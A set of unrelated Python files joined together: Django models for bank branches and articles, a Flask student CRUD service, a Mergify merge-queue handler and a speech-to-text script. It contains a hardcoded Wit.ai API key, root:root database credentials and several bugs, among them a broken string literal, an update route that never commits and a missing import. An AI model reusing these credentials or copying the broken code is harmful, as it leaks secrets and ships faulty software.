            raise ValidationError('El saldo final debe ser un número positivo, con un máximo de 7 cifras.')

    class Meta:

        verbose_name = 'caja'
        verbose_name_plural = 'cajas'

    def __str__(self):
       return self.codigo

class EstadoSucursal(models.Model):

    class opcionesEstado(TextChoices):

        ACTIVA = 'ACTIVA'
        INACTIVA = 'INACTIVA'

    opciones = models.CharField(choices = opcionesEstado.choices, max_length=8, default= 'ACTIVA')

    def __str__(self):
        return self.opciones

class Sucursal (models.Model):

    codigo = models.CharField(max_length = 4, unique=True)
    idCasaCentral = models.IntegerField(default= 1)
    estado = models.ForeignKey(EstadoSucursal, on_delete=models.PROTECT, null=True)
    calle = models.CharField('Calle', max_length=20)
    numero = models.CharField('Numero',  max_length=4)
    localidad = models.CharField('Localidad', max_length=20, null=True)
    provincia = models.CharField('Provincia', max_length= 20, null=True)
    cod_postal = models.CharField('Código postal', max_length=4)

    def clean(self):

        for char in self.localidad:

            if not char.isalpha() and char != " ":
                raise ValidationError('La localidad solo puede tener letras y espacios.')

        for char in self.provincia:

            if not char.isalpha() and char != " ":
                raise ValidationError('La provincia solo puede tener letras y espacios.')

        for char in self.cod_postal:

            if char.isalpha():
                raise ValidationError("El código postal solo puede tener digitos.")

        if not self.codigo.isalnum():
            raise ValidationError('El código de la sucursal solo puede contener letras y números')
        if len(self.codigo) < 2 or len(self.codigo) > 4:
            raise ValidationError('El código de la sucursal debe tener entre 2 y 4 caracteres')

        if len(self.calle) < 4 or len(self.calle) > 20:
            raise ValidationError('La calle debe tener entre 4 y 20 letras')

        if not self.numero.isdigit():
            raise ValidationError('El número solo puede contener digitos.')

        if len(self.numero) < 2 or len(self.numero) > 4:
            raise ValidationError('El número debe tener entre 1 y 4 digitos.')

        if len(self.localidad) < 4 or len(self.localidad)  > 20:
            raise ValidationError('La calle debe tener entre 4 y 20 letras')

        if len(self.provincia) < 4 or len(self.provincia)> 20:
            raise ValidationError('La provincia debe tener entre 4 y 20 letras')

        if not self.cod_postal.isdigit():
            raise ValidationError('El código postal solo puede contener digitos.')

        if len(self.cod_postal) < 1 or len(self.cod_postal) > 4:
            raise ValidationError('El código postal debe tener entre 1 y 4 digitos.')

    class Meta:

        verbose_name = 'sucursal'
        verbose_name_plural = 'sucursales'

    def __str__(self):
        return self.codigo

class Operacion(models.Model):

    fecha = models.DateTimeField('Fecha', auto_now_add=True)
    monto = models.CharField('Monto', max_length=40)
    tipo = models.CharField('Tipo', max_length=10)
    caja_asociada = models.ForeignKey(Caja, on_delete=models.PROTECT)
    identificador = models.CharField('Identificador', max_length= 50)
    responsable = models.IntegerField('ID de responsable')

    class Meta:

        verbose_name = 'operacion'
        verbose_name_plural = 'operaciones'

    def __str__(self):
        return "Identificador: {}, Monto: {}, Tipo: {}".format(self.identificador, self.monto, self.tipo)

def defaultActivoSucursal(sender, instance, **kwargs):

    estados = EstadoSucursal.objects.all()
    if len(estados) > 0:
        if instance.estado_id == None:

            estadosQuery = EstadoSucursal.objects.filter(opciones = 'ACTIVA')
            activo = ""
            for estado in estadosQuery:
                activo = estado.id

            instance.estado_id = activo

pre_save.connect(defaultActivoSucursal, sender = Sucursal)


from django.db import models
from django.conf import settings
from smedaily.common.models import TimeStampMixin

# Create your models here.
class Article(TimeStampMixin):
    """Article
    작성기"""
    title = models.CharField(max_length=200, help_text='제목')
    content = models.TextField(help_text='내용')
    stock = models.CharField(max_length=200, help_text='관련종목', blank=True, default=' ')
    writer = models.ForeignKey(
        settings.AUTH_USER_MODEL
        , on_delete=models.PROTECT
        , related_name='my_article'
        , to_field='username'
        , help_text='작성자'
    )
    proto = models.TextField(blank=True, default=' ', help_text='해당 프로토 아티클')
    relate_dart = models.TextField(blank=True, default=' ', help_text='관련자료 id. , 로 구분')

    class Meta:
        db_table = 'article_post'
        indexes = [
            models.Index(fields=['title'], name='article_post_title_idx')
        ]

    def __str__(self):
        return self.title


# coding:utf-8
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy

app = Flask(__name__)

app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SQLALCHEMY_DATABASE_URI'] = "mysql+pymysql://root:root@127.0.0.1:3306/supermarket"
db = SQLAlchemy(app)

class Student(db.Model):
    s_id = db.Column(db.Integer, primary_key=True, autoincrement=True)
    s_num = db.Column(db.String(10), unique=True)
    s_name = db.Column(db.String(16))
    s_age = db.Column(db.Integer, default=0)

    __tablename__ = "student"

@app.route('/')
def index():
    return "
Hello
"

@app.route('/initdb', methods=['POST'])
def init_db():
    db.create_all()
    db.session.commit()
    ret_dic = {"ret_code": "200", "ret_msg": "创建数据库成功"}
    return jsonify(ret_dic)

@app.route('/add_student', methods=['POST'])
def add_student():
    stu = Student()
    stu.s_num = request.form['s_num']
    stu.s_name = request.form['s_name']
    stu.s_age = request.form['s_age']

    db.session.add(stu)
    db.session.commit()

    ret_dic = {'ret_code': '200', 'ret_msg': '添加信息成功',
               'student': {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}}
    return jsonify(ret_dic)

@app.route('/all_student')
def get_all_student():
    db_query = Student.query.all()
    student_list = []
    for stu in db_query:
        student_info = {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}
        student_list.append(student_info)

    ret_dic = {'ret_code': '200', 'ret_msg': '查询信息成功',
               'student': student_list, 'count': len(student_list)}
    return jsonify(ret_dic)

@app.route('/select')
def select_student():
    target = request.args['s_num']
    db_ret = Student.query.filter(Student.s_num == target)

    student_list = []
    for stu in db_ret:
        student_info = {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}
        student_list.append(student_info)

    ret_dic = {'ret_code': '200', 'ret_msg': '查询信息成功',
               'student': student_list, 'count': len(student_list)}
    return jsonify(ret_dic)

@app.route('/update', methods=['PUT'])
def update_student():
    stu_num = request.form['s_num']
    stu_name = request.form['s_name']
    stu_age = request.form['s_age']

    target_stu = Student.query.filter(Student.s_num == stu_num)[0]
    target_stu.s_num = stu_num
    target_stu.s_name = stu_name
    target_stu.s_age = stu_age

    s_list = [
        {'s_id': target_stu.s_id, 's_num': target_stu.s_num,
         's_name': target_stu.s_name, 's_age': target_stu.s_age}]

    ret_dic = {'ret_code': '200', 'ret_msg': '修改信息成功',
               'student': s_list,
               'count': len(s_list)}

    return jsonify(ret_dic)

@app.route('/delete', methods=['DELETE'])
def delete_student():
    stu_num = request.form['s_num']

    target_stu = Student.query.filter(Student.s_num == stu_num)[0]

    db.session.delete(target_stu)
    db.session.commit()

    s_list = [
        {'s_id': target_stu.s_id, 's_num': target_stu.s_num,
         's_name': target_stu.s_name, 's_age': target_stu.s_age}]

    ret_dic = {'ret_code': '200', 'ret_msg': '删除信息成功',
               'student': s_list,
               'count': len(s_list)}

    return jsonify(ret_dic)

if __name__ == '__main__':
    app.run(port=8000)


#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import typing

from first import first

from mergify_engine import check_api
from mergify_engine import context
from mergify_engine import delayed_refresh
from mergify_engine import github_types
from mergify_engine import rules
from mergify_engine.actions import merge_base
from mergify_engine.queue import merge_train

async def have_unexpected_draft_pull_request_changes(
    ctxt: context.Context, car: merge_train.TrainCar
) -> bool:
    unexpected_event = first(
        (source for source in ctxt.sources),
        key=lambda s: s["event_type"] == "pull_request"
        and typing.cast(github_types.GitHubEventPullRequest, s["data"])["action"]
        in ["closed", "reopened", "synchronize"],
    )
    if unexpected_event:
        ctxt.log.info(
            "train car received an unexpected event",
            unexpected_event=unexpected_event,
        )
        return True

    return False

async def handle(queue_rules: rules.QueueRules, ctxt: context.Context) -> None:
    # FIXME: Maybe create a command to force the retesting to put back the PR in the queue?

    train = await merge_train.Train.from_context(ctxt)

    car = train.get_car_by_tmp_pull(ctxt)
    if not car:
        if ctxt.closed:
            ctxt.log.info(
                "train car temporary pull request has been closed", sources=ctxt.sources
            )
        else:
            ctxt.log.warning(
                "train car not found for an opened merge queue pull request",
                sources=ctxt.sources,
            )

        return

    if car.checks_conclusion != check_api.Conclusion.PENDING and ctxt.closed:
        ctxt.log.info(
            "train car temporary pull request has been closed", sources=ctxt.sources
        )
        return

    if car.queue_pull_request_number is None:
        raise RuntimeError(
            "Got draft pull request event on car without queue_pull_request_number"
        )

    ctxt.log.info(
        "handling train car temporary pull request event",
        sources=ctxt.sources,
        gh_pulls_queued=[
            ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
        ],
    )

    queue_name = car.still_queued_embarked_pulls[0].config["name"]
    try:
        queue_rule = queue_rules[queue_name]
    except KeyError:
        ctxt.log.warning(
            "queue_rule not found for this train car",
            gh_pulls_queued=[
                ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
            ],
            queue_rules=queue_rules,
            queue_name=queue_name,
        )
        return

    pull_requests = await car.get_pull_requests_to_evaluate()
    evaluated_queue_rule = await queue_rule.get_pull_request_rule(
        ctxt.repository,
        ctxt.pull["base"]["ref"],
        pull_requests,
        ctxt.log,
        ctxt.has_been_refreshed_by_timer(),
    )

    for pull_request in pull_requests:
        await delayed_refresh.plan_next_refresh(
            ctxt, [evaluated_queue_rule], pull_request
        )

    if not ctxt.sources:
        # NOTE(sileht): Only comment/command, don't need to go further
        return None

    unexpected_changes: typing.Optional[merge_train.UnexpectedChange] = None
    if await have_unexpected_draft_pull_request_changes(ctxt, car):
        unexpected_changes = merge_train.UnexpectedDraftPullRequestChange(
            car.queue_pull_request_number
        )
    else:
        current_base_sha = await train.get_base_sha()
        if not await train.is_synced_with_the_base_branch(current_base_sha):
            unexpected_changes = merge_train.UnexpectedBaseBranchChange(
                current_base_sha
            )

    if unexpected_changes is None:
        real_status = status = await merge_base.get_rule_checks_status(
            ctxt.log,
            ctxt.repository,
            pull_requests,
            evaluated_queue_rule,
            unmatched_conditions_return_failure=False,
        )
        if real_status == check_api.Conclusion.FAILURE and (
            not car.has_previous_car_status_succeeded()
            or len(car.initial_embarked_pulls) != 1
        ):
            # NOTE(sileht): we can't set it as failed as we don't known
            # yet which pull request is responsible for the failure.
            # * one of the batch ?
            # * one of the parent car ?
            status = check_api.Conclusion.PENDING
    else:
        real_status = status = check_api.Conclusion.PENDING

    ctxt.log.info(
        "train car temporary pull request evaluation",
        gh_pull_queued=[
            ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
        ],
        evaluated_queue_rule=evaluated_queue_rule.conditions.get_summary(),
        unexpected_changes=unexpected_changes,
        temporary_status=status,
        real_status=real_status,
        event_types=[se["event_type"] for se in ctxt.sources],
    )

    await car.update_state(real_status, evaluated_queue_rule)
    await car.update_summaries(status, unexpected_change=unexpected_changes)
    await train.save()

    if unexpected_changes:
        ctxt.log.info(
            "train will be reset",
            gh_pull_queued=[
                ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
            ],
            unexpected_changes=unexpected_changes,
        )
        await train.reset(unexpected_changes)

        await ctxt.client.post(
            f"{ctxt.base_url}/issues/{ctxt.pull['number']}/comments",
            json={
                "body": f"This pull request has unexpected changes: {unexpected_changes}. The whole train will be reset."
            },
        )


import speech_recognition as sr
import os
import converter

def wav2txt(audioFileName):
    reco = sr.Recognizer()
    reco.energy_threshold = 300

    givenAudioFile = sr.AudioFile(audioFileName)

    with givenAudioFile as srcFile:
        givenAudioFile = reco.record(srcFile)

    print(reco.recognize_wit(givenAudioFile, "O7NTCSR3OEK6VZOGW4I65N6P5OTKSI3C"))

    txtFile = open("audioAsText.txt", "w+")
    txtFile.write(reco.recognize_wit(givenAudioFile, "O7NTCSR3OEK6VZOGW4I65N6P5OTKSI3C"))
    txtFile.close()

def clip2wav(audioFileName):
    c = Converter()
    conv = c.convert(audioFileName, 'audio.mp3', {'format':'mp3','audio':{'codec': 'mp3','bitrate':'22050','channels':1}})
    for timecode in conv:
        pass
    os.system("mpg123 -w audio.wav audio.mp3")
    wav2txt("audio.wav")

def main():
    audFile = input("Enter audio file name: ")
    clip2wav(audFile)

if __name__ == "__main__":
    main()